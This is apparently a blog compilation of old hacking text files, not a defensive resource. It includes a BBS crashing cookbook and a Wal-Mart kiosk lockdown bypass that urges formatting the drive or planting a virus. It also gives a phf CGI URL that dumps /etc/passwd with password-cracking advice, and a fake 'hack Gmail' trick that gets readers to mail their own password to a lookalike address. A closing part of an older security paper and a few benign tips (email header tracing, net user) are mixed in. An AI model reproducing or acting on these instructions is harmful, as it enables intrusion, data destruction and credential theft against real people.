questions like "Why cant I join #warez?"

Step 8. (Important Step) Send private messages to everyone asking for new
bugs or holes. Here's a good pointer, look around your system for binary
programs suid root (look in Unix manual from step 3 if confused). After
finding a suid root binary, (ie. su, chfn, syslog), tell people you have a
new bug in that program and you wrote a script for it. If they ask how it
works, tell them they are "layme". Remember, YOU are a UeberCracker. Ask
them to trade for their get-root scripts.

Step 9. Make them send you some scripts before you send some garbage file
(ie. a big core file). Tell them it is encrypted or it was messed up and
you need to upload your script again.

Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be
obnoxious on #hack otherwise people will look down on you and not give you
anything.)

Step 11. Hopefully you will now have atleast one or two scripts that get
you root on most Unixes. Grab root on your local machines, read your
admin's mail, or even other user's mail, even rm log files and whatever
temps you. (look in Unix manual from step 3 if confused).

Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the
same test). Email your admin how "layme" he is and how you got root and how
you erased his files, and have it appear coming from satan@evil.com.

Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag
about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are
a uebercracker.)

Step 14. Wait a few months and have all your notes, etc ready in your room
for when the FBI, Secret Service, and other law enforcement agencies
confinscate your equipment. Call eff.org to complain how you were innocent
and how you accidently gotten someone else's account and only looked
because you were curious. (Whatever else that may help, throw at them.)

Step 15. Now for the true final supreme eliteness of all uebercrackers, you
go back to #hack and brag about how you were busted. YOU are finally a
true Uebercracker.

Now the next part of the paper is top secret. Please only pass to trusted
administrators and friends and even some trusted mailing lists, Usenet
groups, etc. (Make sure no one who is NOT in the inner circle of security
gets this.)

This is broken down on How to Become an UeberAdmin (otherwise know as a
security expert) and How to stop Uebercrackers.

Step 1. Read Unix manual ( a good idea for admins ).

Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install
sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers
now. Rdist scripts is among the favorites for getting root by
uebercrackers.

Step 3. Okay, maybe you want to actually secure your machine from the
elite Uebercrackers who can break into any site on Internet.

Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing
packets. (This only applies to advanced admins who have control of the
router, but this will stop 90% of all uebercrackers from attempting your
site.)

Step 5. Apply all CERT and vendor patches to all of your machines. You have
just now killed 95% of all uebercrackers.

Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper
to find if a uebercracker is knocking on your machines. Run ISS to make
sure that all your machines are reasonably secure as far as remote
configuration (ie. your NFS exports and anon FTP site.)

Step 7. If you have done all of the following, you will have stopped 99%
of all uebercrackers. Congrads! (Remember, You are the admin.)

Step 8. Now there is one percent of uebercrackers that have gained
knowledge from reading some security expert's mail (probably gained access
to his mail via NFS exports or the guest account. You know how it is, like
the mechanic that always has a broken car, or the plumber that has the
broken sink, the security expert usually has an open machine.)

Step 9. Here is the hard part is to try to convince these security experts
that they are not so above the average citizen and that by now giving out
their unknown (except for the uebercrackers) security bugs, it would be a
service to Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and
new pressure will be applied to vendors to come out with patches.

Step 10. If you have gained the confidence of enough security experts,
you will know be a looked upto as an elite security administrator that is
able to stop most uebercrackers. The final true test for being a ueberadmin
is to compile a IRC client, go onto #hack and log all the bragging and
help catch the uebercrackers. If a uebercracker does get into your system,
and he has used a new method you have never seen, you can probably tell
your other security admins and get half of the replies like - "That bug
been known for years, there just isn't any patches for it yet. Here's my
fix." and the other half of the replies will be like - "Wow. That is very
impressive. You have just moved up a big notch in my security circle."
VERY IMPORTANT HERE: If you see anyone in Usenet's security newsgroups
mention anything about that security hole, Flame him for discussing it
since it could bring down Internet and all Uebercrackers will now have it
and the million other reasons to keep everything secret about security.

Well, this paper has shown the finer details of security on Internet. It has
shown both sides of the coin. Three points I would like to make that would
probably clean up most of the security problems on Internet are as the
following:

1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs
that have been floating around since the Internet Worm (6 years ago) fixed
and patched, then most uebercrackers would be stuck as new machines get
added to Internet. (I believe Uebercracker is german for "lame copy-cat
that can get root with 3 year old bugs.") An interesting note is that
if you probably check the mail alias for "security@vendor.com", you will
find it points to /dev/null. Maybe with enough mail, it will overfill
/dev/null. (Look in manual if confused.)

2. Security experts giving up the attitude that they are above the normal
Internet user and try to give out information that could lead to pressure
by other admins to vendors to come out with fixes and patches. Most
security experts probably don't realize how far their information has
already spread.

3. And probably one of the more important points is just following the
steps I have outlined for Stopping a Uebercracker.

Resources for Security:
Many security advisories are available from anonymous ftp cert.org.
Ask archie to find tcp_wrapper, security programs. For more information
about ISS (Internet Security Scanner), email cklaus@shadow.net.

Acknowledgements:

Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
Miles, Scott Yelich, and Henri De Valois.

Copyright:

This paper is Copyright 1993, 1994. Please distribute to only trusted
people. If you modify, alter, disassemble, reassemble, re-engineer or have
any suggestions or comments, please send them to:

cklaus@shadow.net

BBS Crashing Techniques

2013-04-07T22:27:00.002-07:00

BBS Crashing Techniques

[:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:]
[:=:] [:=:]
[:=:] New Wave presents... [:=:]
[:=:] [:=:]
[:=:] [:=:]
[:=:] BBS CRASHING TECHNIQUES [:=:]
[:=:] ------------------------- [:=:]
[:=:] [:=:]
[:=:] by RB [:=:]
[:=:] [:=:]
[:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:][:=:]

- File Formatted for 80 columns like it or not -

To start off with, I'd just like to say this file is a collectithe
latest BBS crashes. Many people have grudges and reasons to 'crash' a bbs,
well this file is served as an aid to them and also to sysops who want to
prevent their own bbs' from being attacked. And that's enuff talk for now,
let's get on with the good stuff (everything is in cookbook format for speedy
reading).

[-=: Apple Net :=-]

1. Post a message (can be bbs,feedback,newuser etc.)
2. Press space bar util you get to the very last line (40th col.)
3. type ctrl-D
4. (after the word wrap to next line) Type any dos command (Preferrably FP)
5. get into editor ('/E')
6. list the program
7. You should be in basic or executing whatever dos command you entered

Requirements:

- Must have wordwrap activated
- 40 columns mode should be activated
- Their must be a (L)ist command in the editor

[-=: Telecat 2.x & 3.0 :=-]

2.x
-----

1. Go to the board section
2. Newscan the last board accessable
3. After the first message, type 'B' at the prompt (To jump to next board)

Results:

- If it was the last board on the bbs, chances arethat will break into Basic
- If not, then it will go on to the next board (which is handy and surpassess
the security level crap)

3.0
-----

1. Post Message
2. Type a line of text
3. type ctrl-V

Results:

- This should either hang the system or break into basic
- It is trying to center the line but it fucks up

[-=: GBBS Pro :=-]

Method 1:

1. Go the the editor
2. Hold down tab key
3. or press space and type ctrl-C

Method 2:

1. Upload to a full volume

Method 3:

1. read the userlist
2. hang up when it gets to the Sysop
3. call back and log on and you'll be a sysop

[-=: Proving Grounds :=-]

Method 1:

1. (On older versions) Enter decimal or negative numbers

Method 2:

1. Call board and enter the user number of a Remote sysop
2. Enter any bs for a pw
3. Do the same thing again (more garbage the 2nd time it asks)
4. Now enter your real number and pass
5. At the first input prompt type 'Remote'
6. This should give you the Remote Sysop menu and access

Notes:

- Using Sysop's user# will give you 10 extra minutes on system
- The second method works only on unmoded newer versions of Proving Grounds

Ok, well that about wraps it up. Remember, all these crashes work only on
unmoded boards (which are on the most part run by leeches and geeks).

If you have any questions or more tips for Vol.2 then leave me mail on
Halifax 20megs (301)445/5897 or Eastern Alliance 10megs (201)327/5725
and where else you see me. Both are fine boards. Have Fun!

[-------------<THE BAND>--------------]
Mistywood BBS/AE/CF........818/335-5651
Mistywood // BBS...........602/220-9363
The Wizards Guild..........409/696-8226
Den o/Crude Tort...........617/832-9229
Sirius Cybernetics.........808/528-2436
[-------------------------------------]

DOWNLOADED FROM P-80 SYSTEMS.....

Quick Shutdown for XP, How to create a shutdown

2013-04-07T22:16:00.002-07:00

Quick Shutdown For XP, How to Create a Shutdown Shortcut.

Ever want a quicker way to shutdown XP without navigating through the start menu, or using a third party shutdown utility Here is a script that will do just that.

Right click the desktop and choose New Shortcut. Copy and paste this script or type it in.

%windir%System32shutdown.exe -s -t 0

Choose Next and name it whatever you like. I name mine OFF. Click Finished. Right click and choose properties and pick a Icon for it if you'd like. I use a wall light switch Icon. I drag mine into my QuickLaunch toolbar for one click shutdown.

Enjoy!

Ebay Hack crack TIp

2013-04-07T22:12:00.002-07:00

Ebay Hack Crack Tip

Just found this on the net, so I gave it a try.

Lo and behold, it actually works.

Very handy if you are an Ebayer.
Enjoy

When you look at an item and click on bid history all the bid amount are replaced with "-" until the end of the auction.

To view these amounts before the auction ends when viewing the item change

http://cgi.ebay.co.uk/ws/eBayISAPI.dll

in the address bar to

http://cgi.ebay.com/ws/eBayISAPI.dll

And then click on the bid history. The bid amounts will be shown.

Easy Way To Hack Gmail Account

2013-03-30T22:08:00.000-07:00

Easy Way To Hack Gmail Account

It is possible and it is easy. This way of hacking into any kind of account was brought to my

attention by my friend working in Microsoft, in animation cell. u have to just…

* STEP 1- Log in to your own gmail account. Note: Your account must be at least 1 week old

for this trick to work.

* STEP 2- Once you have logged into your own account, compose/write an e-mail to: lost.pass.retr@gmail.com depending on which account u want to hack...This is the mailing address to the automated server that sends out passwords to users who have forgotten them. What you are going to do is trick the server into thinking that it is sending your password to you but it will send you the pass for the account you are trying to hack instead.

* STEP 3- In the subject line type exactly: “userpassword retrieve” (case sensitive, without the inverted commas)

* STEP 4- On the first line of your mail write the email address of the person you are hacking.

* STEP 5- On the second line type in the e-mail address you are using.

* STEP 6- On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a completed JavaScript form from your account in the Gmail Server to extract the other email addresses password. This works because you are sending your password to a machine not a person. The process will be done automatically by the user administration server.

* STEP 7- The final step before sending the mail is, type on the fourth line the following code exactly:

2SUGm9qwM482SUGm9qwM48 (case sensitive)

The password will be sent to your inbox within 48 hrs in a mail called “System Reg Message” . Hack who ever u want (just don't hack me)

YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS

How to hack crack or by pass cyberoam in college or office

2012-07-27T20:32:00.000-07:00

How to hack crack or by pass cyberoam in college or office

Hello Friends, today I am going to explain you How to hack crack or bypass cyberoam websense and all other security firewalls that college, institutions, offices use to block websites at their respective places. Most of colleges, school and offices nowadays prefers a hardware firewall to block the users to access the restricted websites. Most of my friends have asked me about that how to access blocked websites or bypass cyberoam or simply cracking the cyberoam to access restricted websites in their college and offices, i have explained some methods earlier also but those loopholes are now fixed and those methods to hack cyberoam and websense doesn't work effectively now and also hacking through proxy is quite tedious task as first of all we have to search for good working proxy websites which in itself is a very tedious task, and most of times it is also blocked. So it actually wastes lot of our precious times and most important daily. So why don't we have a permanent solution for it. The method that i will explain today is really awesome and doesn't require much effort and thus its quite easy and the most important its 100% working. So friends read on for detailed hack.... Hacking or bypassing or cracking cyberoam For hacking Cyberoam or Websense you must know How cyberoam and websense works? If you know how it works then you can easily find flaws in it and hack or bypass it very easily. So friends lets learn how cyberoam actually works. Cyberoam is a 8 layer hardware firewall that offers stateful and deep packet inspection for network and web applications and user based identity security. Thus the firewall is quite secured. Now how we can hack that 8 layer security its the main important question here, as i have mentioned above that main working and blocking of any website or application by cyberoam is basically done at deep packet inspection step, now here the flaw in any security firewall lies, also in case of cyberoam and websense too. They block all websites by parsing their content and if their content contains the restricted keywords then they block that websites. They also use category blocking which also works on same concept. The flaw is with websites that uses SSL feature, the websites that contains SSL lock i.e. the websites that uses https are not blocked by them. They have to block these websites manually which is a very hectic task and believe me nobody blocks them. So the proxy websites that uses https i.e. SSL proxies are also not blocked by these websites. Only those proxies are blocked which are known or being heavily used. But the tool that i give you create SSL proxies by itself that means its proxies cannot be blocked. So friends this tool rocks..:P :)
Things that we need to hack cyberoam, websense and any such such hardware firewall:-
1. TOR browser ( a anonymous web browser like Mozilla which has inbuilt proxy finder that bypasses the websites easily that are being blocked by cyberoam or websense).
2. A USB or pendrive ( where you will keep the portable version of TOR browser)
3. If USB drives are disabled we will use different drive for its installation. (also portable version of TOR can be executed from any place).
Steps to hack Cyberoam:-
1. Download the TOR web browser. To download TOR browser: CLICK HERE
2. Now install the TOR web browser. In case of portable version it will extract. For Installation and usage Instructions visit here: CLICK HERE
3. Now open the TOR browser and start surfing your favorite website like facebook, orkut, gmail ..everything at you office....
4. That's all the hack. I hope you all have liked it. Note: Have a portable version in your pen drive or USB drive and enjoy where ever you want.

My Great Web page

HACKING THE WAL-MART ARMORGUARD by:-Raghib(rags)

2012-03-21T00:00:00.003-07:00

HACKING THE WAL-MART ARMOR GUARD

by:-Raghib(rags)

COMPUTER PROTECTION SYSTEM.

***NOTE***

To use this, you must have a system disk (i.e. a disk that has been

formatted using [format a: /s]) in 3.5" format under Windows 95, because that

is what they sell all of their computers with.

***NOTE***

In this file, instructions to be input into the computer are surrounded

by [ and ]. Keys are surrounded by < and >. So if I say "hit [<CTRL>-<F1>] I

mean to hold down the control button and hit F1.

The armorguard is a program that prevents you from writing to the

directories, changing the attributes of files, and deleting files. It

basically prevents you from doing anything cool.

The first thing to do is to go into Wal-Mart. Now, go to the

computer section and turn off the screen saver. Shut down as many apps as

you can with the [<CTRL>-<ALT>-<DEL>] and then choosing a program and

hitting enter. You cannot simply do this to the ArmorGuard program.

The next thing to do is to go to the DOS PROMPT. Most Wal-Marts

take the mouse ball out of all of the display mice to make it harder to

control the system. If you are adept at putting your finger inside the mouse

and controlling it that way, fine. Otherwise, just hit [<CTRL>-<ALT>-<ESC>].

This activates the start menu. Select "Programs", hit enter, then go down to

near the bottom of the "Programs" menu and select "MS-DOS PROMPT". Hit enter.

Now you are in a DOS window and in the C:\Windows directory. Hit

[cd..] and then hit [fdisk /mbr], which restores the master boot record,

preventing the password prompt from coming up when you reset the computer.

Now just hit [<CTRL>-<ALT>-<DEL>] twice (once gets you to task manager,

twice reboots) and wait. When you see

Starting Windows 95...

on the screen, hit [<F8>] really fast just once, then choose "Verify

each step" (or something to that effect), usually choice number 4. It will

give you an A: prompt and say "Please give the path of your command interpreter,

i.e. C:\WINDOWS\COMMAND.COM". At this point, put the system disk you have

made in the drive and hit [A:\COMMAND.COM]. Say "Yes" to everything except

the following:

Log this bootup? (Bootlog.txt)? (y/n)

C:\armguard.exe? (y/n)

(***OR ANYTHING ELSE STARTING WITH "C:\ARM", LIKE "C:\ARMOR",

for instance.)

If you have done this right, ARMGUARD SHOULDN'T COME UP AT ALL. If

it does, hit "command prompt only" instead of "Verify each step" and then

specify C:\AUTOEXEC.BAT and C:\CONFIG.SYS if it asks for the configuration

and the startup file. (IN THE OPPOSITE ORDER. CONFIG.SYS IS THE CONFIG FILE,

AUTOEXEC.BAT IS THE STARTUP FILE.) Then immediately hit [<F4>] and it will

give you step-by-step confirmation for each item. See above for the ones

to say no to. Then you want to hit

[C:\WINDOWS\COMMAND\EDIT.COM C:\WINDOWS\WIN.INI]

and the DOS edit program will come up. Choose "Search" and hit "Find" and

then tell it to find ARM and make sure it's NOT on match whole word only.

Delete any line with ARM in it that looks like a part of ArmorGuard. This

should prevent it from coming up on Windows.

*******IF NONE OF THIS WORKS, YOU HAVE TO TAKE THE READ-ONLY AND ARCHIVE

ATTRIBUTES OFF OF THE WIN.INI, SYSTEM.INI, AUTOEXEC.BAT, AND CONFIG.SYS FILES

BY HITTING [ATTRIB -A -R (c:\WHATEVERFILE.YOUWANTTODOTHISTO)]

*******I'D ALSO RECOMMEND EDITING THE AUTOEXEC.BAT FILE TO PREVENT ARMGUARD

FROM EVER COMING UP AGAIN.

****************THINGS TO DO AFTER HACKING ARMORGUARD***********

Hmmm....

USE YOUR IMAGINATION!

Think of this: Hit "shut down in MS-DOS mode" or start up in MS-DOS mode,

put your boot disk in drive a: and hit the following commands

[A:]

[FORMAT C:]

and then confirm this. You have just started the permanent erasing of

EVERYTHING on the hard drive. You can also do some other cool stuff with

it too, just basically IF YOU WOULD DO IT TO SOMEONE YOU HATE, DO IT TO

WAL-MART. Personally, I'd think that INSTEAD OF ERASING THE HARD DRIVE, I'D

WRITE A VIRUS AND PUT IT ON THE COMPUTER. THAT WOULD REALLY BE MORE FUN.

JUST STORE IT ON A FLOPPY AND COPY IT.

HAVE FUN, DON'T GET CAUGHT.

SINCERELY,

RAGHIB(RAGS)

My Great Web page

Hacking Webpages

2012-03-20T23:55:00.000-07:00

Hacking Webpages

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through

anonymous ftp access into a webpage. First you need learn a little about

the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is

the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little

difference, it's shadowed. Shadowed password files don't let you view or

copy the actual encrypted password. This causes problems for the password

cracker and dictionary maker(both explained later in the text). Below is

another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes

they are disguised as an * as well.

Now that you know a little more about what the actual password file looks

like you should be able to identify a normal encrypted pw from a shadowed

pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the

files vary from system to system. 1.The first step that you would take is

to download or copy the file. 2. The second step is to find a password

cracker and a dictionary maker. Although it's nearly impossible to find a

good cracker there are a few ok ones out there. I recomend that you look

for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.

Now for a dictionary maker or a dictionary file... When you start a

cracking prog you will be asked to find the the password file. That's where

a dictionary maker comes in. You can download one from nearly every hacker

page on the net. A dictionary maker finds all the possible letter

combinations with the alphabet that you choose(ASCII, caps, lowercase, and

numeric letters may also be added) . We will be releasing our pasword file

to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."

As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives

you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that

everybody already knows it and most servers have already found out about

the bug and fixed it. But since I have been asked questions about the phf

I decided to include it.

The phf technique is by far the easiest way of getting a password file

(although it doesn't work 95% of the time). But to do the phf all you do

is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to

get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

The best way to get root is with an exploit. Exploits are explained in the

next chapter.

My Great Web page

8 People Can Use The Same Msn Dial Up Account

2012-03-19T23:30:00.004-07:00

8 People Can Use The Same Msn Dial Up Account

its easy really. want to have an entire family on dial-up with just one bill?

step one. purchase 20 dollar a month subscription to MSN unlimited access dial up. This will include an MSN 9 cd which you will need. With the software installed, fill up your secondary account slots with new users. Make sure you pick @msn if it gives you the choice, hotmail email addresses will not work..

say the secondary account is johnsmith@msn.com type in the Dial up connection

USER : MSN/johnsmith

PASS: ******* (whatever)

connect to your local msn phone number and the other people you gave secondary accounts to will be able to do the same, while you are connected. Its a sweet deal considering everyone is paying about 2 bucks a month for internet access, especially if you cannot get broadband. if you wanted to sell off the access to people you could actually make money doing this.. but i do not suggest it.

I used to be an msn tech and this was a little known secret even to most of the employees.

After you do this you do not need the software any more. I would suggest keeping it on to micromanage everyone else's accounts. and for the simple fact that if they don't pitch in, cut them off HEHEHE

i'm on broadband now so i dont care if i tell you my little secret. anyone else knew of this?

My Great Web page

Backtracking EMAIL Messages

2012-03-19T23:22:00.001-07:00

Backtracking EMAIL Messages

Tracking email back to its source: Twisted Evil

cause i hate spammers... Evil or Very Mad

Ask most people how they determine who sent them an email message and the response is almost universally, "By the From line." Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The "From" header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the "From" header is forged.

So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found .

If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options.

Below are listed the headers of an actual spam message I received. I've changed my email address and the name of my server for obvious reasons. I've also double spaced the headers to make them more readable.

Return-Path: <s359dyxtt@yahoo.com>

X-Original-To: davar@example.com

Delivered-To: davar@example.com

Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108])

by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7

for <davar@example.com>; Sun, 16 Nov 2003 09:50:37 -0800 (PST)

Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id <536806-74276>; Sun, 16 Nov 2003 19:42:31 +0200

Message-ID: <n5-l067n7z$46-z$-n@eo2.32574>

From: "Maricela Paulson" <s359dyxtt@yahoo.com>

Reply-To: "Maricela Paulson" <s359dyxtt@yahoo.com>

To: davar@example.com

Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...isha

Date: Sun, 16 Nov 2003 19:42:31 +0200

X-Mailer: Internet Mail Service (5.5.2650.21)

X-Priority: 3

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="MIMEStream=_0+211404_90873633350646_4032088448"

According to the From header this message is from Maricela Paulson at s359dyxxt@yahoo.com. I could just fire off a message to abuse@yahoo.com, but that would be waste of time. This message didn't come from yahoo's email service.

The header most likely to be useful in determining the actual source of an email message is the Received header. According to the top-most Received header this message was received from the host 12-218-172-108.client.mchsi.com with the ip address of 21.218.172.108 by my server mailhost.example.com. An important item to consider is at what point in the chain does the email system become untrusted? I consider anything beyond my own email server to be an unreliable source of information. Because this header was generated by my email server it is reasonable for me to accept it at face value.

The next Received header (which is chronologically the first) shows the remote email server accepting the message from the host 0udjou with the ip 193.12.169.0. Those of you who know anything about IP will realize that that is not a valid host IP address. In addition, any hostname that ends in client.mchsi.com is unlikely to be an authorized email server. This has every sign of being a cracked client system.

Here's is where we start digging. By default Windows is somewhat lacking in network diagnostic tools; however, you can use the tools at to do your own checking.

davar@nqh9k:[/home/davar] $whois 12.218.172.108

AT&T WorldNet Services ATT (NET-12-0-0-0-1)

12.0.0.0 - 12.255.255.255

Mediacom Communications Corp MEDIACOMCC-12-218-168-0-FLANDREAU-MN (NET-12-218-168-0-1)

12.218.168.0 - 12.218.175.255

# ARIN WHOIS database, last updated 2003-12-31 19:15

# Enter ? for additional hints on searching ARIN's WHOIS database.

I can also verify the hostname of the remote server by using nslookup, although in this particular instance, my email server has already provided both the IP address and the hostname.

davar@nqh9k:[/home/davar] $nslookup 12.218.172.108

Server: localhost

Address: 127.0.0.1

Name: 12-218-172-108.client.mchsi.com

Address: 12.218.172.108

Ok, whois shows that Mediacom Communications owns that netblock and nslookup confirms the address to hostname mapping of the remote server,12-218-172-108.client.mchsi.com. If I preface a www in front of the domain name portion and plug that into my web browser, http://www.mchsi.com, I get Mediacom's web site.

There are few things more embarrassing to me than firing off an angry message to someone who is supposedly responsible for a problem, and being wrong. By double checking who owns the remote host's IP address using two different tools (whois and nslookup) I minimize the chance of making myself look like an idiot.

A quick glance at the web site and it appears they are an ISP. Now if I copy the entire message including the headers into a new email message and send it to abuse@mchsi.com with a short message explaining the situation, they may do something about it.

But what about Maricela Paulson? There really is no way to determine who sent a message, the best you can hope for is to find out what host sent it. Even in the case of a PGP signed messages there is no guarantee that one particular person actually pressed the send button. Obviously determining who the actual sender of an email message is much more involved than reading the From header. Hopefully this example may be of some use to other forum regulars.

My Great Web page

How To Restrict Login Hours Allowed

2012-03-17T01:57:00.001-07:00

How To Restrict Login Hours Allowed

To restrict a users logon hours , use the net user command. These commands are used from the Command Prompt. (Start - RUN - and type cmd)

Below are some examples:

1 - net user Joanna /time:M-F,08:00-17:00

2 - net user Ninja /time:M-F,8am-5pm

3 - net user Echelon /time:M,4am-5pm;T,1pm-3pm;W-F,8:00-17:00

4 - net user Shine /time:all (this one means this user can always log on)

Note:You can only restrict when a user can log on to the system. On a stand alone computer, there is no way to force a user to log off when their hours expire, without a third party script or software.

My Great Web page

How to learn to hack in easy steps

2012-02-28T23:05:00.001-08:00

How to learn to hack in easy steps

Introduction

~~~~~~~~~~~~

Hi there, I'm TDC and I'd like to give back all the things i've learnt from the hackers i've

met. I want to write this because most tutorials i've found (very good tutorials) are now

old and don't fit just like they did before. This is why i'm going to teach you and show you

the way to learn to hack.

If you are a hacker, you read this, and find something that's not correct or you don't like,

i want to know. mail me.

I'm sure you'll find a lot of bad-grammars. Don't report them cause I'm not english and

i don't care at all as long as it's understandable.

On this document I talk about many security tools, you can find all them and also contact

me on my site: www.3b0x.com

When you finish reading it, please TELL ME how you like it!

I want to make newer versions of it, check on my site to stay informed.

COPYING: You're welcome to distribute this document to whoever the hell you want, post it

on your website, on forums, newsgroups, etc, AS LONG as you DON'T MODIFY it at all.

If you want to perform it, ask me for permission. thanks a lot!

DISCLAIMER: This document is intended for ludical or educational purposes. I don't want to

promote computer crime and I'm not responible of your actions in any way.

If you want to hack a computer, do the decent thing and ask for permission first.

Let's start

~~~~~~~~~~~

If you read carefully all what i'm telling here, you are smart and you work hard on it,

you'll be able to hack. i promise. That doesn't really make you a hacker (but you're on the way).

A hacker is someone who is able to discover unknown vulnerabilities in software and able to

write the proper codes to exploit them.

NOTE: If you've been unlucky, and before you found this document, you've readen the

guides to (mostly) harmless hacking, then forget everything you think you've learnt from them.

You won't understand some things from my tutorial until you unpoison your brain.

Some definitions

~~~~~~~~~~~~~~~~

I'm going to refer to every kind of computer as a box, and only as a box.

This includes your PC, any server, supercomputers, nuclear silos, HAL9000,

Michael Knight's car, The Matrix, etc.

The systems we're going to hack (with permission) are plenty of normal users, whose

don't have any remote idea about security, and the root. The root user is called

superuser and is used by the admin to administer the system.

I'm going to refer to the users of a system as lusers. Logically, I'll refer to

the admin as superluser.

Operating Systems

~~~~~~~~~~~~~~~~~

Ok, I assume you own a x86 box (this means an intel processor or compatible) running windoze9x,

or perhaps a mac (motorola) box running macOS.

You can't hack with that. In order to hack, you'll need one of those UNIX derived operating

systems.

This is for two main reasons:

-the internet is full of UNIX boxes (windoze NT boxes are really few) running webservers and

so on. to hack one of them, you need a minimun knowledge of a UNIX system, and what's better

than running it at home?

-all the good hacking tools and exploit codes are for UNIX. You won't be able to use them unless

you're running some kind of it.

Let's see where to find the unix you're interested on.

The UNIX systems may be divided in two main groups:

- commercial UNIXes

- free opensource UNIXes

A commercial unix's price is not like windoze's price, and it usually can't run on your box,

so forget it.

The free opensource UNIXes can also be divided in:

- BSD

These are older and difficult to use. The most secure OS (openBSD) is in this group.

You don't want them unless you're planning to install a server on them.

- Linux

Easy to use, stable, secure, and optimized for your kind of box. that's what we need.

I strongly suggest you to get the SuSE distribution of Linux.

It's the best one as i think, and i added here some tips for SuSE, so all should be easier.

Visit www.suse.de and look for a local store or order it online.

(i know i said it the software was free, but not the CDs nor the manual nor the support.

It is much cheaper than windoze anyway, and you are allowed to copy and distribute it)

If you own an intel box, then order the PC version.

If you own a mac box, then order the PowerPC version.

Whatever you do, DON'T PICK THE COREL DISTRIBUTION, it sucks.

It's possible you have problem with your hardware on the installation. Read the manual, ask

for technical support or buy new hardware, just install it as you can.

This is really important! READ THE MANUAL, or even buy a UNIX book.

Books about TCP/IP and C programming are also useful.

If you don't, you won't understand some things i'll explain later. And, of course, you'll

never become a hacker if you don't read a lot of that 'literature'.

the Internet

~~~~~~~~~~~~

Yes! you wanted to hack, didn't you? do you want to hack your own box or what?

You want to hack internet boxes! So lets connect to the internet.

Yes, i know you've gotten this document from the internet, but that was with windoze

and it was much easier. Now you're another person, someone who screams for knowledge and wisdom.

You're a Linux user, and you gotta open your way to the Internet.

You gotta make your Linux box to connect to the net,

so go and set up your modem (using YaST2 in SuSE).

Common problems:

If your box doesn't detect any modems, that probably means that you have no modem installed

:-D (not a joke!).

Most PCI modems are NOT modems, but "winmodems". Winmodems, like all winhardware, are

specifically designed to work ONLY on windoze. Don't blame linux, this happens because the

winmodem has not a critical chip that makes it work. It works on windoze cause the vendor

driver emulates that missing chip. And hat vendor driver is only available for windoze.

ISA and external modems are more probably real modems, but not all of them.

If you want to make sure wether a modem is or not a winmodem, visit http://start.at/modem.

Then use your modem to connect to your ISP and you're on the net. (on SuSE, with wvdial)

NOTE: Those strange and abnormal online services like aol are NOT ISPs. You cannot connect the

